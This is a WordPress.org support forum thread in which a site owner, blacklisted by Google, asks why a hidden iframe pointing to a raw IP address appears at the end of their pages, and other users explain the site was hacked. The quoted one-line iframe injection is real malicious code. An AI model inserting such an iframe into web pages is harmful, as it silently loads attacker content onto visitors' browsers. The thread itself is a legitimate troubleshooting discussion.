WordPress.org

Support

Support » How-To and Troubleshooting » [Resolved] malware in wordpress?

[Resolved] malware in wordpress?

  • bjornart77

    @bjornart77

    Google has blacklisted my site due to malware, and I think it’s WordPress related.

    I just upgraded to the latest version (the last one was from 2006).
    I got over 2000 spam comments, in which I have deleted now.

    If you look at the site http://www.trondsen.org and the html code, the following is added to the end of it and I think this is why Google blocks my site:

    </body>
    </html><iframe src=’http://69.69.94.3/1.html’ width=’1′ height=’1′ style=’visibility: hidden;’></iframe>

    Where could the bug be?

Viewing 6 replies - 1 through 6 (of 6 total)
  • whooami

    @whooami

    Member

    thats not a bug. youre hacked, and if you just upgraded, and hadnt since 2006, you were probably hacked before you upgraded and just didnt notice.

    bjornart77

    @bjornart77

    okay thanks, how do I remove this hack? I have search all the code for the IP address in the HTML, but it couldn’t find that string that is placed in my HTML.

    Any other way to find where the hack is?

    whooami

    @whooami

    Member

    you cant just remove the code.

    http://wordpress.org/search/hacked?forums=1

    .. well you can, but I’ll bet you 20$ you see another hack within a month.

    bjornart77

    @bjornart77

    I just an old theme – norwegian based on the standard theme 1,5. I installed the K2 theme and now everything is working flawlessly. I bet the code in my old theme was hijacked.

    whooami

    @whooami

    Member

    see ya in a month.

    I had the same thing happen to my blog. Your’s sounds similar and the technical service rep at my webhosting company said he’s seen a lot of this same trojan lately. You may want to check out your htaccess file. See the link below:

    http://wordpress.org/support/topic/217700?replies=15

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘[Resolved] malware in wordpress?’ is closed to new replies.
Skip to toolbar